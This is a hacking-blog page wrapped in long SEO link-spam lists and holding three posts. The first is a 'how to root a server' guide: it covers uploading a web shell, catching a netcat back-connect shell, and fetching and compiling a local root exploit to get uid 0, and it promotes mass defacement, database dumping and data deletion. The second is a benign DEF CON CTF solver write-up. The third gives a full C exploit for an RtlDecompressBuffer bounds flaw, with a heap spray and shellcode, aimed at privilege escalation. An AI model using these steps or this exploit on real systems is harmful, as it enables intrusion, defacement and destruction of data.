lunes, 5 de junio de 2023

Hackerhubb.blogspot.com

Hackerhubb.blogspot.com

More info


  1. Hacking Tools For Windows Free Download
  2. Hacks And Tools
  3. Hacker Tools Mac
  4. Hacking Tools Windows 10
  5. Pentest Tools Alternative
  6. Hack App
  7. Hacking Tools Windows 10
  8. Hacking Tools Kit
  9. Hacker Tools 2020
  10. Nsa Hack Tools Download
  11. Hacker Tools Apk
  12. Hacking Tools For Windows Free Download
  13. Hacking Tools For Beginners
  14. Hacker Search Tools
  15. Hack Tools For Windows
  16. Pentest Tools Linux
  17. Blackhat Hacker Tools
  18. Hacking Tools For Games
  19. Hacker
  20. What Are Hacking Tools
  21. Pentest Tools Framework
  22. Game Hacking
  23. Pentest Tools Framework
  24. Hack Tools For Ubuntu
  25. Hack Tools For Pc
  26. How To Install Pentest Tools In Ubuntu
  27. Pentest Tools Framework
  28. Pentest Tools Github
  29. Hacker Tools Free
  30. Pentest Tools For Mac
  31. Nsa Hack Tools Download
  32. Hacking Tools 2019
  33. Hack Tools 2019
  34. Tools 4 Hack
  35. Top Pentest Tools
  36. Pentest Recon Tools
  37. Hacker Techniques Tools And Incident Handling
  38. Hacker Tools
  39. Pentest Tools For Ubuntu
  40. Hacking Tools 2020
  41. Hacker Search Tools
  42. Pentest Tools Url Fuzzer
  43. Hack Tools 2019
  44. Hacker Tools Apk
  45. Pentest Tools Framework
  46. Hacking Tools Hardware
  47. Computer Hacker
  48. Hack Tools For Pc
  49. Ethical Hacker Tools
  50. Hacking Tools For Kali Linux
  51. Hack Tool Apk
  52. Hack Tools For Pc
  53. Blackhat Hacker Tools
  54. Hacking Tools Download
  55. Hack Tools For Games
  56. Pentest Tools Github
  57. Hack Tools For Windows
  58. Hacker Tools For Ios
  59. Hacker Tools For Ios
  60. Hacking Tools Windows
  61. Pentest Tools

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
More articles
  1. Hacking Tools 2020
  2. Free Pentest Tools For Windows
  3. World No 1 Hacker Software
  4. Pentest Tools Subdomain
  5. Pentest Box Tools Download
  6. Android Hack Tools Github
  7. Hack Tools For Windows
  8. Hacker Tool Kit
  9. Pentest Tools Windows
  10. Hackrf Tools
  11. Underground Hacker Sites
  12. Tools Used For Hacking
  13. Pentest Tools Download
  14. Pentest Tools Android
  15. Pentest Tools For Ubuntu
  16. Hacks And Tools
  17. Pentest Tools For Android
  18. Hacking Tools Software
  19. Growth Hacker Tools
  20. Hacking Tools Hardware
  21. Hacking Apps
  22. Termux Hacking Tools 2019
  23. Best Pentesting Tools 2018
  24. Hacker Tools Apk Download
  25. Hacker Tools Software
  26. Hacker Tools Windows
  27. Hack Tool Apk No Root
  28. Hacking Tools Windows 10
  29. Pentest Tools Linux
  30. How To Make Hacking Tools
  31. Termux Hacking Tools 2019
  32. Pentest Tools Apk
  33. Hacking Tools Github
  34. Pentest Tools For Ubuntu
  35. Nsa Hack Tools Download
  36. Github Hacking Tools
  37. Pentest Tools Website
  38. Hacker Tools 2020
  39. Pentest Tools Free
  40. Hacker Tool Kit
  41. Hacking Tools
  42. Hack Website Online Tool
  43. Hacking Tools Windows
  44. Hacker Hardware Tools
  45. Pentest Tools For Mac
  46. Hack Tools Pc
  47. Hacker Tools Software
  48. Hacking Apps
  49. What Is Hacking Tools
  50. Pentest Automation Tools
  51. Hack Tools 2019
  52. Hacker Tools Online
  53. Free Pentest Tools For Windows
  54. Pentest Tools Bluekeep
  55. New Hack Tools
  56. Hacker Tools Online
  57. Hacker Tools Software
  58. Nsa Hack Tools
  59. Free Pentest Tools For Windows
  60. Pentest Recon Tools
  61. Pentest Tools Tcp Port Scanner
  62. Wifi Hacker Tools For Windows
  63. New Hacker Tools
  64. Hacking Tools For Mac
  65. Pentest Tools Alternative
  66. Hacks And Tools
  67. Pentest Tools Nmap
  68. Hacker Hardware Tools
  69. Hacking Tools Name
  70. Hacking App
  71. Pentest Tools Kali Linux
  72. Hack Rom Tools
  73. Pentest Tools For Windows
  74. Ethical Hacker Tools
  75. Hack And Tools
  76. Tools For Hacker
  77. Hacking Tools For Windows Free Download
  78. Kik Hack Tools
  79. Pentest Tools Port Scanner
  80. Pentest Tools Review
  81. Github Hacking Tools
  82. Pentest Tools Alternative
  83. Hacking Tools For Windows Free Download
  84. Blackhat Hacker Tools
  85. Pentest Tools Framework
  86. Hacker Tools Online
  87. Hak5 Tools
  88. Hacker Tools For Mac
  89. Pentest Tools Website
  90. Hack Tools Pc
  91. New Hacker Tools
  92. Underground Hacker Sites
  93. Hacking Tools Usb
  94. Hacking Tools Hardware
  95. Pentest Recon Tools
  96. Hackers Toolbox
  97. Hacker Tools Free
  98. Hacking Tools Kit
  99. Hacking Tools For Pc
  100. Pentest Tools Website
  101. Hacking Tools Usb
  102. Hacker Tool Kit
  103. Pentest Tools Website Vulnerability
  104. Hacker Tools 2019
  105. How To Hack
  106. Hacking Tools
  107. Hacker Tools 2020
  108. Hacking Tools Software
  109. Pentest Tools Github
  110. Pentest Tools List
  111. Pentest Tools Find Subdomains
  112. Hacker Tools Online
  113. Hacking Tools Online
  114. Pentest Tools Url Fuzzer
  115. Pentest Tools Subdomain
  116. Hacker Tools For Mac
  117. Ethical Hacker Tools
  118. Hack Rom Tools
  119. Hacker
  120. Pentest Tools Bluekeep
  121. Usb Pentest Tools
  122. Pentest Tools Subdomain
  123. Easy Hack Tools
  124. Pentest Tools Review
  125. Free Pentest Tools For Windows
  126. Nsa Hack Tools
  127. Hacker Tools Github
  128. Hack Tool Apk
  129. Hacker Tools Github
  130. Hacking Tools For Windows Free Download

domingo, 4 de junio de 2023

Defcon 2015 Coding Skillz 1 Writeup

Just connecting to the service, a 64bit cpu registers dump is received, and so does several binary code as you can see:



The registers represent an initial cpu state, and we have to reply with the registers result of the binary code execution. This must be automated becouse of the 10 seconds server socket timeout.

The exploit is quite simple, we have to set the cpu registers to this values, execute the code and get resulting registers.

In python we created two structures for the initial state and the ending state.

cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}

We inject at the beginning several movs for setting the initial state:

for r in cpuRegs.keys():
    code.append('mov %s, %s' % (r, cpuRegs[r]))

The 64bit compilation of the movs and the binary code, but changing the last ret instruction by a sigtrap "int 3"
We compile with nasm in this way:

os.popen('nasm -f elf64 code.asm')
os.popen('ld -o code code.o ')

And use GDB to execute the code until the sigtrap, and then get the registers

fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
for l in fd.readlines():
    for x in finalRegs.keys():
           ...

We just parse the registers and send the to the server in the same format, and got the key.


The code:

from libcookie import *
from asm import *
import os
import sys

host = 'catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me'
port = 9999

cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
fregs = 15

s = Sock(TCP)
s.timeout = 999
s.connect(host,port)

data = s.readUntil('bytes:')


#data = s.read(sz)
#data = s.readAll()

sz = 0

for r in data.split('\n'):
    for rk in cpuRegs.keys():
        if r.startswith(rk):
            cpuRegs[rk] = r.split('=')[1]

    if 'bytes' in r:
        sz = int(r.split(' ')[3])



binary = data[-sz:]
code = []

print '[',binary,']'
print 'given size:',sz,'bin size:',len(binary)        
print cpuRegs


for r in cpuRegs.keys():
    code.append('mov %s, %s' % (r, cpuRegs[r]))


#print code

fd = open('code.asm','w')
fd.write('\n'.join(code)+'\n')
fd.close()
Capstone().dump('x86','64',binary,'code.asm')

print 'Compilando ...'
os.popen('nasm -f elf64 code.asm')
os.popen('ld -o code code.o ')

print 'Ejecutando ...'
fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
for l in fd.readlines():
    for x in finalRegs.keys():
        if x in l:
            l = l.replace('\t',' ')
            try:
                i = 12
                spl = l.split(' ')
                if spl[i] == '':
                    i+=1
                print 'reg: ',x
                finalRegs[x] = l.split(' ')[i].split('\t')[0]
            except:
                print 'err: '+l
            fregs -= 1
            if fregs == 0:
                #print 'sending regs ...'
                #print finalRegs
                
                buff = []
                for k in finalRegs.keys():
                    buff.append('%s=%s' % (k,finalRegs[k]))


                print '\n'.join(buff)+'\n'

                print s.readAll()
                s.write('\n'.join(buff)+'\n\n\n')
                print 'waiting flag ....'
                print s.readAll()

                print '----- yeah? -----'
                s.close()
                



fd.close()
s.close()





Continue reading

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related links